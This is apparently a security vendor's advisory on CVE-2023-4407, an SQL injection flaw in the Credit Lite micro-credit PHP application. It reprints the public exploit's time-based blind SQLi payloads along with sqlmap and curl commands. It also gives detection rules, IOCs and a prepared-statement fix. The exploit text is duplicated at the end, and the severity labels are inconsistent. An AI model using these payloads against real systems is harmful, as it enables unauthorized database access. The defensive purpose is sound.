CVE-2023-4407

Executive Summary

CVE-2023-4407 is a critical SQL injection vulnerability discovered in Codecanyon Credit Lite version 1.5.4, a micro-credit management solution. The vulnerability resides in the /portal/reports/account_statement endpoint, where the date1 and date2 POST parameters are not properly sanitized, allowing an unauthenticated remote attacker to inject arbitrary SQL commands. The exploit is publicly available via Exploit-DB, and the vendor has not released a patch. This flaw can lead to unauthorized database access, data exfiltration, and potential application compromise.

Supply Chain & Package Security

This is a commercial PHP application distributed via Codecanyon. No open-source package manager (NPM, PyPI, Go, Ruby) is involved. The risk is limited to direct deployments of the vulnerable software.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: High due to public exploit availability and no patch.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the date1 and date2 POST parameters of the account statement report. The application likely constructs a SQL query by directly concatenating user input without parameterization or escaping. The exploit uses time-based blind SQL injection (MySQL SLEEP() function) to extract data.

Vulnerable Code Flow:

1. User submits a POST request to /portal/reports/account_statement with date1, date2, and account_number.
2. The application builds a SQL query like: SELECT ... FROM transactions WHERE date BETWEEN '$date1' AND '$date2' AND account_number = '$account_number'.
3. An attacker injects 'XOR(SELECT(0)FROM(SELECT(SLEEP(5)))a)XOR'Z into date1, causing the query to become: SELECT ... WHERE date BETWEEN '2023-07-31'XOR(SELECT(0)FROM(SELECT(SLEEP(5)))a)XOR'Z' AND ....
4. The SLEEP(5) function delays the response by 5 seconds, confirming injection and enabling data extraction.

Vulnerable vs. Patched Code

Vulnerable Code (PHP example):

$date1 = $_POST['date1'];
$date2 = $_POST['date2'];
$query = "SELECT * FROM transactions WHERE date BETWEEN '$date1' AND '$date2'";
$result = mysqli_query($conn, $query);

Patched Code (using prepared statements):

$stmt = $conn->prepare("SELECT * FROM transactions WHERE date BETWEEN ? AND ?");
$stmt->bind_param("ss", $date1, $date2);
$stmt->execute();
$result = $stmt->get_result();

Exploitation & Lab Setup

Red Team

Exploit-DB Code (Full):

# Exploit Title: Credit Lite 1.5.4 - SQL Injection
# Exploit Author: CraCkEr
# Date: 31/07/2023
# Vendor: Hobby-Tech
# Vendor Homepage: https://codecanyon.net/item/credit-lite-micro-credit-solutions/39554392
# Software Link: https://credit-lite.appshat.xyz/
# Version: 1.5.4
# Tested on: Windows 10 Pro
# Impact: Database Access
# CVE: CVE-2023-4407
# CWE: CWE-89 - CWE-74 - CWE-707

## Description

SQL injection attacks can allow unauthorized access to sensitive data, modification of
data and crash the application or make it unavailable, leading to lost revenue and
damage to a company's reputation.

## Steps to Reproduce:

To Catch the POST Request

1. Visit [Account Statement] on this Path: https://website/portal/reports/account_statement

2. Select [Start Date] + [End Date] + [Account Number] and Click on [Filter]

Path: /portal/reports/account_statement

POST parameter 'date1' is vulnerable to SQL Injection
POST parameter 'date2' is vulnerable to SQL Injection

-------------------------------------------------------------------------
POST /portal/reports/account_statement HTTP/2

_token=5k2IfXrQ8aueUQzrd5UfilSZzgOC5vyCPGxTTZDK&date1=[SQLi]&date2=[SQLi]&account_number=20005001
-------------------------------------------------------------------------

---
Parameter: date1 (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: _token=5k2IfXrQ8aueUQzrd5UfilSZzgOC5vyCPGxTTZDK&date1=2023-07-31'XOR(SELECT(0)FROM(SELECT(SLEEP(5)))a)XOR'Z&date2=2023-07-31&account_number=20005001

Parameter: date2 (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: _token=5k2IfXrQ8aueUQzrd5UfilSZzgOC5vyCPGxTTZDK&date1=2023-07-31&date2=2023-07-31'XOR(SELECT(0)FROM(SELECT(SLEEP(9)))a)XOR'Z&account_number=20005001
---

Usage:

1. Set up a local lab with Credit Lite 1.5.4 (e.g., using XAMPP on Windows 10).
2. Use sqlmap with the provided payloads to automate exploitation:

   sqlmap -u "https://target/portal/reports/account_statement" --data="_token=5k2IfXrQ8aueUQzrd5UfilSZzgOC5vyCPGxTTZDK&date1=2023-07-31&date2=2023-07-31&account_number=20005001" --batch --dbs
   

3. Alternatively, manually inject using Burp Suite or cURL:

   curl -X POST "https://target/portal/reports/account_statement" -d "_token=5k2IfXrQ8aueUQzrd5UfilSZzgOC5vyCPGxTTZDK&date1=2023-07-31'XOR(SELECT(0)FROM(SELECT(SLEEP(5)))a)XOR'Z&date2=2023-07-31&account_number=20005001"
   

Blue Team

Detection Steps:

1. Monitor for POST requests to /portal/reports/account_statement with abnormal date1 or date2 parameters (e.g., containing SQL keywords like SLEEP, XOR, SELECT).
2. Look for response delays (e.g., >5 seconds) from the application.
3. Check database logs for suspicious queries with SLEEP() or BENCHMARK() functions.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /portal/reports/account_statement with date1 or date2 containing SLEEP, XOR, or SQL injection patterns.
  • Unusually long response times (e.g., >5 seconds) from the application.
• Host:
  • Database logs showing queries with SLEEP() or BENCHMARK() functions.
  • Web server logs with 400 or 500 errors from the vulnerable endpoint.
• File:
  • No specific file-based IOCs; the vulnerability is purely network-based.

Detection Engineering

YARA Rule

rule CVE_2023_4407_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2023-4407 in Credit Lite"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-4407"
    strings:
        $s1 = "date1=" nocase
        $s2 = "date2=" nocase
        $s3 = "SLEEP" nocase
        $s4 = "XOR" nocase
        $s5 = "SELECT" nocase
        $s6 = "/portal/reports/account_statement" nocase
    condition:
        all of ($s1, $s2, $s6) and 1 of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2023-4407 SQL Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against Credit Lite account_statement endpoint
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4407
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/portal/reports/account_statement'
        cs-uri-query|contains:
            - 'date1='
            - 'date2='
    keywords:
        - 'SLEEP'
        - 'XOR'
        - 'SELECT'
    condition: selection and keywords
falsepositives:
    - Legitimate use of date parameters with unusual values (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-4407 SQL Injection Attempt - Credit Lite";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/portal/reports/account_statement"; http_uri;
    content:"date1="; http_client_body;
    content:"date2="; http_client_body;
    pcre:"/(SLEEP|XOR|SELECT)/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2023-4407;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint /portal/reports/account_statement if not essential.
2. Apply a Web Application Firewall (WAF) rule to block SQL injection patterns (e.g., SLEEP, XOR, SELECT in POST parameters).
3. Restrict network access to the application to trusted IPs only.

Long-Term Fix:

1. Upgrade to a patched version of Credit Lite (if available) or contact the vendor for a fix.
2. Implement prepared statements or parameterized queries for all database interactions.
3. Conduct a full security audit of the application for similar vulnerabilities.

Valters IT – Securing your digital frontier.

{/* [Security Hash: B04472C57A7BBB1C4E2B6A4F] */}

# Exploit Title: Credit Lite 1.5.4 - SQL Injection
# Exploit Author: CraCkEr
# Date: 31/07/2023
# Vendor: Hobby-Tech
# Vendor Homepage: https://codecanyon.net/item/credit-lite-micro-credit-solutions/39554392
# Software Link: https://credit-lite.appshat.xyz/
# Version: 1.5.4
# Tested on: Windows 10 Pro
# Impact: Database Access
# CVE: CVE-2023-4407
# CWE: CWE-89 - CWE-74 - CWE-707

## Description

SQL injection attacks can allow unauthorized access to sensitive data, modification of
data and crash the application or make it unavailable, leading to lost revenue and
damage to a company's reputation.



## Steps to Reproduce:

To Catch the POST Request

1. Visit [Account Statement] on this Path: https://website/portal/reports/account_statement

2. Select [Start Date] + [End Date] + [Account Number] and Click on [Filter]



Path: /portal/reports/account_statement

POST parameter 'date1' is vulnerable to SQL Injection
POST parameter 'date2' is vulnerable to SQL Injection

-------------------------------------------------------------------------
POST /portal/reports/account_statement HTTP/2

_token=5k2IfXrQ8aueUQzrd5UfilSZzgOC5vyCPGxTTZDK&date1=[SQLi]&date2=[SQLi]&account_number=20005001
-------------------------------------------------------------------------

---
Parameter: date1 (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: _token=5k2IfXrQ8aueUQzrd5UfilSZzgOC5vyCPGxTTZDK&date1=2023-07-31'XOR(SELECT(0)FROM(SELECT(SLEEP(5)))a)XOR'Z&date2=2023-07-31&account_number=20005001

Parameter: date2 (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: _token=5k2IfXrQ8aueUQzrd5UfilSZzgOC5vyCPGxTTZDK&date1=2023-07-31&date2=2023-07-31'XOR(SELECT(0)FROM(SELECT(SLEEP(9)))a)XOR'Z&account_number=20005001
---



[-] Done